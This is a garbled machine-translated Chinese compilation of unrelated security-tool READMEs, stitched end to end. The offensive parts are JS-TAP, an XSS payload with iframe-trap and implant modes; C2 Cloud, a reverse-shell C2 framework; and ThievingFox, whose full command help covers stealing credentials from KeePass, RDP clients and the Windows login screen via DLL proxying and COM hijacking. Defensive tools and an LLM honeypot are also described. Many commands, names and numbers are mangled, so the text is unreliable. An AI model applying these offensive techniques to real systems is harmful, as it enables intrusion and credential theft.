API调用（如果启用了MonkeyPatch功能）端点方法（获取，发布等）设置请求主体和响应主体Note:能够接收XHR副本和FetchAPI调用的能力。在植入物模式下，仅当前只能复制提取API。 操作模式 有效载荷具有两种操作模式。无论是模式是陷阱还是植入物在initglobals（）函数中设置，搜索window.tapermode变量。 陷阱模式 陷阱模式通常是您用作XSS有效载荷的模式。执行XSS有效载荷通常是短暂的，用户查看“恶意JavaScript有效负载运行”的页面可能会关闭“浏览器”选项卡（页面不有趣）或在应用程序中的其他地方导航。在这两种情况下，有效载荷都将从内存中删除并停止工作。 JS-TAP需要长时间运行，否则您将无法收集有用的数据。 陷阱模式通过使用iframe陷阱技术建立持久性来对抗这一目标。 JS-TAP有效负载将创建一个完整的IFRAME，并在应用程序中的其他地方启动用户。此开始页面必须提前配置。在initglobals（）函数中搜索窗口。 在陷阱模式下，JS-TAP监视用户在iFrame陷阱中的位置，并欺骗浏览器的地址栏以匹配iframe的位置。 请注意，如果设置CSP或X-Frame-Options标头，则针对目标的应用程序必须允许从相同或SERF iframing。基于JavaScript的帧轴也可以防止iFrame陷阱工作。 请注意，在应用程序的非常特定的位置，或者当我不确定该应用程序在应用程序的认证部分内使用什么资源时，我很幸运地使用陷阱模式在应用程序的非常特定的位置进行剥削植入物。您可以在登录页面中放置一个植入物，并使用陷阱模式和陷阱模式开始页面设置为window.location.href（即当前位置）。当用户访问登录页面时，陷阱将设置，并希望将其包含在IFRAME陷阱内的应用程序的身份验证部分中。 用户刷新页面通常会破坏/逃脱iFrame陷阱。 如果您将有效载荷直接添加到目标应用程序中，则通常使用 植入模式 植入物模式。也许您在服务器上有一个外壳，该壳托管了应用程序的JavaScript文件。将有效载荷添加到整个应用程序中使用的JavaScript文件（jQuery，main.js等）。理想情况下，哪个文件实际上取决于所讨论的应用以及它如何使用JavaScript文件。植入物模式不需要配置一个启动页，也不需要使用iframe陷阱技术。 用户以植入模式刷新页面通常会继续运行JS-TAP有效载荷。 安装和开始 需要Python3。 JSTAPSERVER需要大量依赖项，强烈建议您使用Python虚拟环境来隔离服务器软件的库（或任何您喜欢的隔离方法）。 示例: mkdir jstapenvironment Python3 -M Venv Jstapenvonment 来源JSTAPENVIRNTMENT/bin/AICTATE CD Jstapenvironment git克隆https://github.com/hoodoer/js-tap CD JS-TAP pip3 install -r sumpliont.txt 在调试/单线模式:中运行 python3 jstapserver.py 使用枪gunicorn多线程（生产使用）: ./jstaprun.sh在启动上生成了一个新的管理密码。如果您没有在启动打印语句中捕获它，则可以找到保存到admincreds.txt文件的凭据。 如果Jstapserver在启动时找到了现有的数据库，它将询问您是否要将现有客户端保存在数据库中或将这些表放置以启动。 请注意，在Mac上，我还必须在Python之外安装Libmagic。 在本地使用JS-TAP的BREW安装libmagic播放是可以的，但是要在适当的订婚中使用，您需要在公开访问的VPS上运行JS-TAP，并设置了将ProtacyMode设置为TRUE的JS-TAP。使用前端的Nginx处理有效的证书。 配置 JS-TAP服务器配置 调试/单线程config 如果您在单线螺纹模式下使用jstapserver.py脚本运行JS-TAP（非常适合测试/演示），则直接在JSTAPSERVER.PY脚本中有配置选项。 代理模式 用于生产使用JS-TAP应托管在公开的服务器上，并提供Letsencrypt这样的人的适当SSL证书。部署此目的的最简单方法是允许Nginx充当JS-TAP并处理LetSencrypt证书的前端，然后将解密的流量转发到本地的HTTP流量（即Nginx和JS-TAP运行在同一VPS上）。 如果将接头设置为true，则JS-TAP服务器将在HTTP模式下运行，并从X-Forwarded-For-For-For-For-for-header中获取客户端IP地址，需要将其配置为设置。 当接头设置为false时，JS-TAP将使用自签名的证书运行，这对于测试很有用。客户端IP将从客户端的源IP中获取。 数据目录 DataDirectory参数告诉JS-TAP，目录将用于SQLITE数据库和LOOP目录。并非所有的“战利品”存储在数据库中，尤其不是屏幕截图和刮擦HTML文件。 服务器端口 要更改服务器端口配置，请参见jstapserver.py app.run的最后一行（debug=false，主机='0.0.0.0.0'，port=8444，ssl_context='adhoc'） 枪支生产配置 gunicorn是运行JS-Tap In In js-tap in Producation in Producation。可以在Jstaprun.sh bash脚本中设置上述相同的设置。启动脚本中设置的值优先于JSTAPSERVER.PY脚本在JS-TAP启动时直接在Gunicorn启动脚本开始时设置的值。 使用Gunicorn为应用程序服务时的配置有很大的差异是您需要配置工人数量（重量重量过程）和线程（轻量级服务过程）。 JS-TAP是一个非常i/o的重型应用程序，因此除了工人之外，使用线程对扩展多处理器机器的应用程序是有益的。请注意，如果您在同一盒子上使用Nginx，则需要配置NGNIX以使用多个进程，以免代理本身上的瓶颈。 在JSTAPRUN.SH脚本的顶部是Numworkers和NumThreads参数。我喜欢为工人使用CPU + 1的数量，以及4-8个线程，具体取决于处理器的强度。对于nginx的configu

HardeningMeter是一种开源的Python工具，旨在全面评估二进制文件和系统的安全性。它的强大功能包括通过检查各种二进制剥削保护机制的检查，包括堆栈金丝雀，relro，随机化（ASLR，pic，pie），无exec stack，fortify，fortify，asan，nx lit。该工具适合所有类型的二进制文件，并提供有关每个二进制的硬化状态的准确信息，从而确定那些值得关注的二进制状态以及具有强大安全措施的那些二进制状态。硬化仪表支持所有Linux分布和机器可读的输出，结果可以打印到屏幕上的表格格式或导出到CSV。 （有关更多信息，请参见文档文件） 执行扫描示例 扫描“/usr/bin”目录，'/usr/sbin/newusers'文件，系统并将结果导出到CSV文件中。 python3 hardeningmeter.py -f /bin /cp -s 安装要求 在安装HardeneningMeter之前，请确保您的计算机具有以下: 1。读取和文件命令2。Python版本3 3.PIP 4。 PIP安装表 安装HardeningMeter 最新的发展可以通过git获得。 克隆或下载项目文件（无需汇编或安装） git克隆https://github.com/ofriouzan/hardeningmeter 参数 -f -file 指定要扫描的文件，该参数可以从空格分离的一个以上的文件中获得一个以上的文件。 -d -directory 指定要扫描的目录，参数会检索一个目录并递归扫描所有精灵文件。 -e - 外部 指定是否要添加外部检查（默认为false）。 -m -show_missing 根据订单打印，只有那些缺少安全性硬化机制并且需要额外关注的文件。 -s -System 指定是否要扫描系统硬化方法。 -c -c-csv_format' 指定是否要将结果保存到CSV文件（默认情况下将结果打印为top tos thate）。 结果 HardeneningMeter的结果被打印为表，并在3个不同状态的: - （x）的一致性上打印出来，该状态表示二进制硬化机制已禁用。 - （v） - 此状态表示二进制硬化机制已启用。 - （ - ） - 该状态表明在这种特殊情况下，二元硬化机制无关。 注释 当linux上的默认语言不是英语时，请在调用脚本之前添加'lc_all=c'。

什么是主人？ MasterParser是一种强大的数字取证和事件响应工具，精心制作，用于分析VAR/LOG DIGITORY内的Linux日志。专门设计用于加快Linux系统安全事件的调查过程，MasterParser足够扫描受支持的日志，例如Auth.Log，例如提取关键详细信息，包括SSH登录，用户创建，事件名称，IP地址等。该工具生成的摘要以清晰而简洁的格式介绍了此信息，从而提高了事件响应者的效率和可访问性。除了对DFIR团队的直接实用性之外，MasterParser还证明对更广泛的Infosec和IT社区来说是无价的，这对在Linux平台上对安全事件的迅速评估做出了重大贡献。 010-10与我们一样多的爱大师？我们独家的MasterParser壁纸深入研究乐趣，并在屏幕上爵士乐！单击下面的链接，然后准备好向您的设备增加兴奋！下载壁纸 MasterParser壁纸 这是MasterParser可以分析的VAR/日志目录中支持的日志格式的列表。在将来的更新中，MasterParser将支持其他日志格式进行分析。 |支持的日志格式列表| | --- | | auth.log | 010-1011 支持的日志格式 功能日志格式请求： 从此GitHub存储库中按“代码”，然后按“下载zip”。从'MasterParser-Main.zip'导出文件夹“ MasterParser-Main”到您的桌面。打开一个PowerSehll终端，然后导航到“ MasterParser-Main”文件夹。 ＃如何从PS终端导航到“ MasterParser-Main”文件夹 PS C: \ CD'C: \ USER \ USER \ USER \ DESTTOP \ MASTERPARSER-MAIN \'现在您可以执行该工具，例如，请参见工具命令菜单，执行此:＃如何显示MasterParser菜单 PS C: \ USER \ USER \ USER \ DESTTOP \ MASTERPARSER-MAIN。\ MASTERPARSER.PS1 -O菜单以运行该工具，将所有/var/log/*登录到01-logs文件夹中，然后执行类似于This:＃如何运行MasterParser的工具 PS C: \ USER \ USER \ USER \ DESTTOP \ MASTERPARSER -MAIN。\ MASTERPARSER.PS1 -O开始就是这样，请享受工具！ 如何使用？ https://github.com/yosfaneilay/masterparser/assets/132997318/d26b4b4b3f-7816-42c3-be7ee3-be7ee39946a2c70 如何使用 - 文本指南 社交媒体帖子1。第一个工具帖子2。第一个工具故事出版物by help net security 3。第二工具故事出版物的法医焦点4。MasterParser在帮助网络安全: 20基本的开放式网络安全工具，可节省您的时间

C2 Cloud是一个强大的基于Web的C2框架，旨在简化渗透测试人员的寿命。它可以轻松访问折衷的后门，就像在AWS云中访问EC2实例一样。它可以通过用户友好的接口管理几个模拟后门会话。 C2云是开源。安全分析师可以自信地进行模拟，获得宝贵的经验，并为组织的主动防御姿势做出贡献。 反向外壳支持: 反向TCP反向http反向https（在LB后面配置）电报C2 演示 C2 Cloud TrackThrough : https://youtu.be/hrht_rdcgj8使用C2 https://youtu.be/wlqtf4hbckk 密钥功能 Anywhere Access:从任何位置到达C2云。 多个后门会议:毫不费力地管理和支持多个会话。 单击后门访问:通过简单单击无缝导航到后门。 会话历史维护:跟踪并保留完整的命令和响应历史记录以进行全面分析。 010-10110️烧瓶:服务Web和API流量，促进反向HTTP请求。 TCP SOCKET:提供反向TCP请求以增强功能。 NGINX:在Web和后端系统之间毫不费力地路由流量。 REDIS PUBSUB:用作无缝通信的强大消息经纪。 WebSockets:向浏览器客户端提供实时更新，以获得增强的用户体验。 Postgres DB:确保继续持续的无缝存储。 Tech Stack 架构 管理端口: 9000反向http port: 8000反向TCP port: 8888 克隆仓库 可选:更新链_id，c2-telegram/config。如果您收到500个错误，请在一段时间后尝试。 应用程序设置 受到小人的启发，这是由Panagiotis Chartas开发的基于CLI的C2。 信用 根据麻省理工学院许可证分配。有关更多信息，请参见许可证。 许可证 LinkedIn Twitter

使用Python Web日志分析仪自动化分析Web服务器日志的过程。该功能强大的工具旨在通过识别和检测服务器日志中各种类型的网络攻击来增强安全性。在包括:的功能的情况下保持潜在威胁 功能 攻击检测:识别和标志潜在的跨站点脚本（XSS），本地文件包含（LFI），远程文件包含（RFI）和其他常见的Web应用程序攻击。 费率限制监视:在短时间内提出的多个请求中检测可疑模式，有助于识别蛮力攻击或自动扫描工具。 自动化扫描仪检测:通过识别与已知的自动扫描工具或漏洞扫描仪相关的请求来确保您的Web应用程序安全。 用户代理分析:分析并确定潜在的恶意用户代理字符串，使您可以发现异常或可疑的行为。 未来功能 这个项目是积极开发的，未来功能可能包括: IP GeoLocation:确定日志中IP地址的地理位置。实时监视:实现实时监控功能以立即进行威胁检测。 安装 该工具目前仅需要Python 3。 step1: git克隆https://github.com/ostesayed/oste-web-log-analyzer.git step2: cd oste-web-log-analyzer step3: python3 python3 wla-cli.py cli.py py 用法 在启用局部命令，可以执行局部机器，您可以执行您的机器，您可以执行该机器，您可以执行该机器，您可以在您的机器上执行机器， python3 wla-cli.py。简单用法示例: python3 wla-cli.py -l logsampls/access.log -t 使用-h或-help用于更详细的用法示例: Python3 wla-cli.py -h 联系人 Linkdin:（https://www.linkedin.com/in/oudjani-seyyid-taqy-daqy-eddine-b964a5228）

Thievingfox是一系列爆炸后工具，可从各种密码管理器和Windows实用程序中收集凭据。每个模块都利用一种特定的方法将其注入目标过程，然后挂钩内部功能来收集凭据。 随附的博客文章可以在此处找到 必须安装 安装 Linux Rustup，请按照: 3https://rustup.rs// 必须安装mingw-w64软件包。在Debian上，可以使用:完成此操作 APT安装mingw-w64 x86和x86_64 Windows目标必须为RUST:安装 rusup target添加x86_64-pc-windows-gnu 还必须安装Rustup Target添加i686-pc-windows-gnu Mono和Nuget，在此处提供说明: 3https://WWW.MONO-PROJEMT.COM/DOWNLOAD/stable/#download/#downloadload-lin 添加单声道存储库后，可以使用APT :安装Nuget 最终，APT安装nuget，必须安装python依赖者: pip install -r客户端/需求.txt thievingfox与python一起使用=3.11。 必须安装 Windows Rustup，请按照可用的说明: 3https://rustup.rs// X86和X86_64必须为RUST:安装Windows目标 rusup target添加x86_64-pc-windows-msvc 还必须安装Rustup Target添加I686-PC-Windows-MSVC .NET开发环境。从Visual Studio，导航到工具获取工具和功能安装“ .NET桌面开发” 最后，必须安装python依赖者: pip install -r客户端/需求.txt thievingfox与python一起使用=3.11 注意Windows主机上的注释:为了使用keepass模块，必须在路径中可用。这可以通过从Visual Studio开发器PowerShell中运行客户端（工具命令行开发器PowerShell）来实现。 目标 所有模块都已在以下Windows版本上进行了测试: Windows版本Windows Server 2022 Windows Server 2019 Windows Server 2016 Windows Server 2012R2 Windows 10 Windows 11 [！警告]模块尚未在其他版本上进行测试，并且有望不起作用。 申请注入方法keepAss.exe appDomainManager注入exeAssxc.exe dll proxying logonui.exe（Windows登录屏幕）com hijacking consent.exe（windows uac uac popup）comhijacking mstsc.exe（Windows RDP rdp client） （第三方RDP客户端）COM劫持 用法 [！谨慎]，尽管我试图确保这些工具不会影响目标应用程序，内联钩和图书馆注入的稳定性不安全，这可能会导致崩溃，或者应用程序不稳定。如果是这种情况，则使用目标上的清理模块应足以确保下次启动应用程序时，未执行注射/钩。 Thievingfox包含3个主要模块:毒药，清理和收集。 毒药 针对命令行参数中指定的每个应用程序，毒物模块检索将被劫持的原始库（用于劫持和dll代理），编译了与原始dll的属性相匹配的库，将其上传到服务器上，并将其上传到服务器上，并修改了需要进行com if Compor com Jjacking com Jjacking， 为了加快所有库的编译过程，在客户端/缓存/中维护了缓存。 -MSTSC，-RDCMAN和- MOBAXTERM分别具有特定选项-MSTSC-POINS-HKCR，-RDCMAN-POINS-POINS-HKCR和-MOBAXTERM-POINS-POISON-HKCR。如果指定了这些选项之一，则COM劫持将替换HKCR Hive中的注册表密钥，这意味着所有用户都会受到影响。默认情况下，只有当前登录的用户都受到影响（所有具有HKCU Hive的用户）。 - keepass和- keepassXC具有特定的选项， - keepass-path， - keepass-share和- keepassxc-path， - keepassxc-share，以指定安装这些应用程序的位置，如果不是默认的安装路径。由于使用COM劫持，这不是其他应用程序所需的。 Keepass模块需要可视化的C ++重新分布才能安装在目标上。 可以一次指定多个应用程序，也可以使用- 所有标志来针对所有应用程序。 [！ $ python3客户/thievingfox.py毒药-h usage: thievingfox.py毒药[-h] [-hashes hashes] [-aeskey aeskey] [ - keepass-share keepass_share] [ - keepAssxc] [ - keepAssxc-path keepAssxc_path] [ - keepAssxc-share keepAssxc_share] [ - mstsc] [ - mstsc-poison-hkcr] [-consent] [-logonui] [-rdcman] [-rdcman-poison-hkcr] [-mobaxterm] [-mobaxterm-poison-poison-hkcr] [ - all] 目标 位置参数: 目标目标机或范围[域/]用户名[:Password] @IP或fqdn [/cidr] Options: -h， - 赫尔普显示此帮助消息和退出 - hashes哈希， - 锤子哈希 LM:NT哈希 -aeskey aeskey，-aeskey aeskey AES键可用于Kerberos身份验证 -K使用Kerberos身份验证。对于Logonui，MSTSC和同意模块，执行匿名NTLM身份验证，以检索OS版本。 -DC-IP DC_IP，-DC-IP DC_IP 域控制器的IP地址 -No-pass，-no-pass不提示密码 - tempdir tempdir使用用于DLL和输出的临时目录的名称（Default: Thievingfox） - 维修尝试毒化keepass.exe - keepass-path keepass_path 安装keetass的路径，没有共享名称（Default:/Program Files/keepass密码安全2/） - keepass-share keepass_share 安装keepass的份额（Default: C $） - keepassxc尝试毒化keepAssxc.exe - keepassxc-path keepAssxc_path 安装keepASSXC的路径，没有共享名称（default:/program Files/keepassxc/） - ke epassxc-share keepassxc_share 安装keepASSXC的份额（Default: C $） -MSTSC尝试毒化mstsc.exe -MSTSC-poison-HKCR而不是毒害目前登录用户的HKCU蜂箱，而是毒害HKCR Hive为MSTSC，这也将适用于目前不适用的用户 登录（default: false） - 同意尝试毒化同意 - logonui尝试毒化logonui.exe -RDCMAN尝试毒化rdcman.exe -RDCMAN-POINS-HKCR而不是毒化目前登录用户的HKCU Hives，毒害HKCR Hive的RDCMAN，这也将适用于目前不做的用户 登录（default: false） - Mobaxterm尝试毒化mobaxterm.exe -MobaxTerm-Poison-HKCR 而不是贫穷目前登录用户的HKCU蜂箱，而是毒害HKCR Hive用于MobaxTerm，这也适用于目前不适用的用户 登录（default: false） - 所有大家都试图毒化所有应用程序 清理 为命令行参数中指定的每个应用程序，清理首先删除迫使目标应用程序加载挂钩库的贫困文物。然后，它试图删除上传到远程主机的库。 对于支持HKCU和HKCR蜂箱贫困的应用，无论如何都可以清理。 可以立即指定多个应用程序，也可以使用- 所有标志可用于清理所有应用程序。 它不会在远程主机上清洁提取的凭据。 [！重要]如果在运行清理模块时正在使用目标应用程序，则无法删除目标上的DLL。但是，清理模块将恢复能够注入的配置，这应确保下次启动应用程序时，未执行注射。记录了无法用Thievingfox删除的文件。 $ python3客户端/thievingfox.py清理-H usage: thievingfox.py清理[-h] [-hashes hashes] [-aeskey aeskey] [ - keepiss-path keepass_path] [ - keepissxc] [ - keepissxc-path keepAssxc_path] [ - keepissxc-share keepAssxc_share] [ - mstsc] [ - 同意] [ - logonui] [ - -RDCMAN] [ - MOBAXTERM] [ - all] 目标 位置参数: 目标目标机或范围[域/]用户名[:Password] @IP或fqdn [/cidr] Options: -h， - 赫尔普显示此帮助消息和退出 - hashes哈希， - 锤子哈希 LM:NT哈希 -aeskey aeskey，-aeskey aeskey AES键可用于Kerberos身份验证 -K使用Kerberos身份验证。对于logonui，mstsc和cons ent模块，执行了匿名的NTLM身份验证，以检索OS版本。 -DC-IP DC_IP，-DC-IP DC_IP 域控制器的IP地址 -No-pass，-no-pass不提示密码 - tempdir tempdir使用用于DLL和输出的临时目录的名称（Default: Thievingfox） - 维修试图清理所有与keepass.exe相关的毒品 - keepass-share keepass_share 安装keepass的份额（Default: C $） - keepass-path keepass_path 安装keetass的路径，没有共享名称（Default:/Program Files/keepass密码安全2/） - keepassxc尝试清理所有与keepAssxc.exe相关的毒物 - keepassxc-path keepAssxc_path 安装keepASSXC的路径，没有共享名称（default:/program Files/keepassxc/） - keepassxc-share keepassxc_share 安装keepASSXC的份额（Default: C $） -MSTSC尝试清理所有与mstsc.exe相关的毒物 - 同意尝试清理所有与同意有关的毒物 - logonui尝试清理所有与logonui.exe有关的毒物 - RDCMAN尝试清理所有与rdcman.exe相关的毒物 - Mobaxterm尝试清理所有与Mobaxterm.exe相关的毒物 - 所有大家都尝试清理与所有应用程序 收集 相关的所有贫困工件，为命令行参数指定的每个应用程序，收集模块检索在C: \ Windows \ Windows \ temp \ temp \ tempdir中存储的远程主机上的输出文件，并将其拆除。这些文件从远程主机中删除，并且检索到的数据存储在客户端/ouput/中。 可以立即指定多个应用程序，也可以使用- 所有标志可用于从所有应用程序中收集日志。 $ python3客户端/thievingfox.py收集-H 用法: thievingfox.py collect [-h] [-hashes hashes] [-aeskey aeskey] [-k] [-dc-ip dc_ip] [-no-pass] [-no-pass] [-tempdir tempdir] [ - -logonui] [ - rdcman] [ - mobaxterm] [ - all] 目标 位置参数: 目标目标机或范围[域/]用户名[:Password] @IP或fqdn [/cidr] Options: -h， - 赫尔普显示此帮助消息和退出 - hashes哈希， - 锤子哈希 LM:NT哈希 -aeskey aeskey，-aeskey aeskey AES键可用于Kerberos身份验证 -K使用Kerberos身份验证。对于Logonui，MSTSC和同意模块，执行匿名NTLM身份验证，以检索OS版本。 -DC-IP DC_IP，-DC-IP DC_IP 域控制器的IP地址 -No-pass，-no-pass不提示密码 - tempdir tempdir使用用于DLL和输出的临时目录的名称（Default: Thievingfox） - keepass收集keepass.exe日志 - keepassxc收集keepAssxc.exe日志 -MSTSC收集MSTSC.EXE日志 - 一致收集同意。exe日志 -logonui收集logonui.exe日志 -RDCMAN收集rdcman.exe日志 - Mobaxterm收集Mobaxterm.exe日志 - 从所有应用程序中收集日志

Crimsonedr是一个开源项目，旨在识别特定的恶意软件模式，为磨练循环端点检测和响应（EDR）的技能提供工具。通过利用各种检测方法，它使用户能够加深对安全评估策略的理解。 功能 检测说明Direct Syscall检测直接系统调用的用法，该调用通常由恶意软件雇用以绕过传统的API挂钩。 ntdll解开，可以确定尝试在NTDLL库中解开功能的尝试，NTDLL库是一种常见的逃避技术。 AMSI补丁通过字节级分析检测对反恶意软件扫描接口（AMSI）的修改。 ETW补丁检测到Windows（ETW）事件跟踪的字节级变化，通常由恶意软件操纵以逃避检测。 PE踩踏标识PE（便携式可执行执行）踩踏的实例。反射PE加载可检测PE文件的反射加载，这是恶意软件采用的一种技术来避免静态分析。未经后面的线程来确定源自未经后面的内存区域的线程，通常表明恶意活动。未经后面的线程开始地址检测带有启动地址的线程，指向未回到的内存，这是代码注入的潜在迹象。 API挂钩在NTWriteVirtualMemory功能上放置一个钩子，以监视内存修改。自定义模式搜索使用户可以搜索JSON文件中提供的特定模式，从而促进识别已知的恶意软件签名。 安装 要开始使用Crimsonedr，请按照以下步骤: 安装依赖: bash sudo apt-get安装gcc-mingw-w64-x86-64克隆库库: bash git克隆3https://github.com/helixo32/crimsonedr编译Project: Bash Crimsonedr； chmod +x compile.sh;/compile.sh 警告 Windows Defender和其他防病毒程序可能会将DLL标记为恶意，因为其内容包含用于验证AMSI是否已修补的字节的内容。请确保使用Crimsonedr避免任何中断时，请确保将DLL白色或暂时禁用防病毒软件。 用法 要使用Crimsonedr，请按照以下步骤: 确保将ioc.json文件放置在当前目录中，从该目录中启动了可执行的可执行文件。例如，如果您启动可执行文件以从C: \ users \ admin \监视，则DLL将在C: \ Users \ Admin \ admin \ ioc.json中查找ioc.json。当前，IOC.JSON包含与MSFVENOM相关的模式。您可以轻松地以以下格式添加自己的 'ioc': [ ['0x03'，'0x4c'，'0x24'，'0x08'，'0x45'，'0x39'，'0xd1'，'0x75']， ['0xf1'，'0x4c'，'0x03'，'0x4c'，'0x24'，'0x08'，'0x45'，'0x39']， ['0x58'，'0x44'，'0x8b'，'0x40'，'0x24'，'0x49'，'0x01'，'0xd0']，]， ['0x66'，'0x41'，'0x8b'，'0x0c'，'0x48'，'0x44'，'0x8b'，'0x40']，]， ['0x8b'，'0x0c'，'0x48'，'0x44'，'0x8b'，'0x40'，'0x1c'，'0x49']， ['0x01'，'0xc1'，'0x38'，'0xe0'，'0x75'，'0xf1'，'0x4c'，'0x03']， ['0x24'，'0x49'，'0x01'，'0xd0'，'0x66'，'0x41'，'0x8b'，'0x0c']，]， ['0xe8'，'0xcc'，'0x00'，'0x00'，'0x00'，'0x41'，'0x51'，'0x41'] 这是给出的 }执行Crimsonedrpanel.exe，具有以下参数: -d path_to_dll:指定Crimsonedr.dll文件的路径。 -p Process_ID:指定要注入DLL的目标过程的进程ID（PID）。 示例: 。 有用的链接 这里有一些有用的资源，有助于开发该项目: Windows流程，邪恶的异常和您的Maldev Academy 联系人 有关问题，反馈或支持，请与我联系: Discord : Helixo32 LinkedIn : Matthias Ossard

tl; dr: galah（/fəˈloutː/ - 发音为“ guh -laa”）是LLM（大语言模型）驱动的Web Honeypot，目前与OpenAI API兼容，能够模仿各种应用程序并动态响应任意HTTP请求。 描述 以聪明的澳大利亚鹦鹉以其模仿而闻名，Galah在其功能方面反映了这一特征。与传统的Web蜜饯依赖于模拟众多Web应用程序或漏洞的手动和极限方法不同，Galah采用了一种新颖的方法。该LLM驱动的HoneyPot通过动态制作相关（偶尔的愚蠢）响应（包括HTTP标头和身体内容）来模仿各种Web应用程序。有趣的事实:在澳大利亚英语中，Galah也意味着傻瓜！ 我已经为LLM生成的响应（可以在配置文件中自定义缓存持续时间）部署了一个缓存，以避免为相同请求生成多个响应，并降低OpenAI API的成本。缓存存储每个端口的响应，这意味着如果探测蜜罐的特定端口，则不会在其他端口上返回生成的响应。 提示是这个蜜罐中最残酷的部分！您可以在配置文件中更新提示，但请确保不要更改指示LLM以指定的JSON格式生成响应的零件。 Note: Galah是我创建的一个有趣的周末项目，旨在评估LLMS生成HTTP消息的功能，并且不打算用于生产使用。蜜罐可以根据其响应时间，非标准或有时怪异的响应以及其他基于网络的技术来刻印指纹。使用此工具自行使用此工具，并确保为OpenAI API设置使用限制。 未来增强 基于规则的响应: Galah的新版本将采用动态，基于规则的方法，从而增加对响应生成的更多控制。这将进一步降低OpenAI API成本并提高生成的响应的准确性。 响应数据库:它将使您能够生成和导入响应数据库。这样可以确保Honeypot仅转向OpenAI API，以获取未知或新请求。我还在努力清理和共享自己的数据库。 支持其他LLM。 入门 确保您已安装了1.20多版。从这里创建一个OpenAI API键。如果要通过HTTPS服务，请生成TLS证书。克隆回购并安装依赖项。更新config.yaml文件。构建并运行GO二进制！ ％git克隆[电子邮件保护] :0x4d31/galah.git ％cd galah ％go mod下载 ％构建 ％./galah -i en0 -v █████████████████████ ██████████████ ████████████████████ ██████████████ ███████████████████████████ 基于LLM的Web Honeypot //1.0版 作者: Adel'0x4d31'karimi 2024/01/01 04:29:10启动http服务器在端口8080上 2024/01/01 04:29336010启动http服务器在端口8888 2024/01/01 04:29336010启动https服务器在端口8443上，带有TLS profile: profile1_selpsigned 2024/01/01 04:29336010启动https服务器在端口443上使用TLS profile: profile1_flysigned 2024/01/01 04:35:57收到了[:3:1] :65434的'/git/config'请求 2024/01/01 04:35:57请求Cache Miss'/.git/config':在cache中找不到 2024/01/01 04:3:59生成的http响应: {'headers': {'content-type':':'text/plain'text/plain'，'server'3:'apache/2.4.41（ubuntu）（ubuntu） “禁止\ n您无权访问此资源。”} 2024/01/01 04:35:59将精心响应发送给[:1] :65434 ^C2024/01/01 01 04:39:27接收到关闭信号。关闭服务器. 2024/01/01 04:39:27所有服务器都优雅地关闭。 示例响应 这里有一些示例响应: 示例1 ％curl http://localhost:8080/login.php ！占位符='输入密码'名称='psw'必需brbutton type='submit'login/button/form/form/hod/html json log记录: {'Timestamp':'2024-01-01T053333333333:08.854878'，'SRCIP':':3:1'，'SRCHOST ':'localhost'，'tags':null，'srcport':'51978'，'ssensorname':'home-sensor'， 'port':'8080'，'httprequest': {'method':'get'，'protoctervers':'http/1.1' ，'request':'/login.php'，'useragent':'curl/7.71.1'，'headers':'user-agent: [Curl/7.71.1]，Accept: [*/*]'，'HeadersSorted':'Accept，用户代理'，'HeadersSortedSha256':':'CF69E186169279B D51769F29D122B07F1F9B7E51BF119C340B66FBD2A1128BC9'，'BODY':'，'BODYSHA256':'E3B0C442 98FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855'}，'httpresponse': {'headers'33 360 {'content-type':'text/html'，'server':'Apache/2.4.38'}，'hody':'\ u003c！doctype html \ u003e \ u003chtml \ u003e \ u003Chead \ u003e \ u003e \ u003ctitle \ u003elogin Page \ u003c/title \ u003e \ u003e \ u003e \ u003e \ u003e \ u003cbody \ u003e方法=' name='uname'必需\ u003e \ u003cbr \ u003e \ u003clabel for='psw'\ u003e \ u003cb \ u003epassword: \ u003c/b \ u003e \ u003c/label \ u003e \ u003e \ u003e \ u003cbr \ u003cbr \ u003e必需的\ u003e \ u003cbr \ u003e \ u003cbutton type='smind'\ u003elogin \ u003c/button \ u003e \ u003c/form \ u003c/form \ u003e \ u003e \ u003e \ u003c/body \ u003c/body \ u003c/fur http://localhost3:8080/.aws/cordentials [默认] aws_access_key_id=akiaiosfodnn7 example aws_secret_access_key=wjalrxutnfemi/k7mdeng/bpxrficyexamplekey 区域=US-WEST-2 JSON日志记录: {'TIMESTAMP':'2024-01-01T053:4033334034.167361'，'SRCIP':':33:1'，'SRCHOST'3 3360'localhost'，'tags':null，'srcport':'65311'，'ssensorname':'home-sensor'，'por t':'8080'，'httprequest': {'method':'get'，'protocolVersion':'http/1.1'，' EST':'/。AWS/凭据'，'useragent':'curl/7.71.1'，'headers':'user-agent:0 [Curl/7.71.1]，Accept: [*/*]'，''headersSorted':'Accept，用户代理'，'HeadersSortedSha256':':'CF69E186169279BD51769F29D9D122B 07F1F9B7E51BF119C340B66FBD2A1128BC9'，'BODY':'，'BODYSHA256':'E3B0C44298FC1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C149AFBF4C8999996FB92427A E41E4649B934CA495991B7852B855'}，'httpresponse': {'headers': {'connection':'close'，'content-encenc oding':'gzip'，'content-Length':'126'，'content-type':':'text/plain'，'server':'apache/2.4.51 （unix）'}，'body':'[默认] \ naws_access_key_id=akiaiosfodnn7example \ naws_secret_access_key=wjalrxutnfemi/k7mdeng/k7mdeng/bpxrficyexamplekey \ nregion=US！ 示例2 现在，让我们进行某种对抗性测试！ ％curl http://localhost:888/are-a-a-a-a-honeypot 不，我是服务器。 {'TIMESTAMP':'2024-01-01T0533:5033:43.792479'，'SRCIP':':33:1'，'SRCHOST'3 3360'localhost'，'tags':null，'srcport':'61982'，'sensorname':'home-sensorssor'，'端口':'8888'，'httpRequest': {'method':'get'，'protocterversOn':'http/1.1'，'reque ST':'/are-you-a-a-honeypot'，'useragent':'curl/7.71.1'，'headers':'user-agent: [Curl/7.71.1]，Accept: [*/*]'，'HeadersSorted':'Accept，用户代理'，'HeadersSortedSha256':':'CF69E186169279BD51769 F29D122B07F1F9B7E51BF119C340B66FBD2A1128BC9'，'BODY':'，'BODYSHA256':'E3B0C444298FC1C1C149AFB F4C8996FB92427AE41E4649B934CA495991B7852B855'}，'httpresponse': {'headers': {'Connection'33 360'close'，'content-Length':'20'，'content-type':'text/plain'，'server':'Apache/2.4.41 （ubuntu）'}，'body':'no，我是服务器。'}}} ％curl http://localhost:888/i-mean-are-you-a-a-fake-server` 不，我不是假的服务器。 JSON日志记录: {'TIMESTAMP':'2024-01-01T0533:51:40.812831'，'SRCIP':':33:1'，'SRCHOST'3336 0'localhost'，'tags':null，'srcport':'62205'，'sensorname':'home-sensor'，'port'33366 0'8888'，'httpRequest': {'method':'get'，'protocolVersion':'http/1.1'，'request'3336 0'/i-mean-are-you-a-a-fake-server'，'useragent':'curl/7.71.1'，'headers':'user-agent: 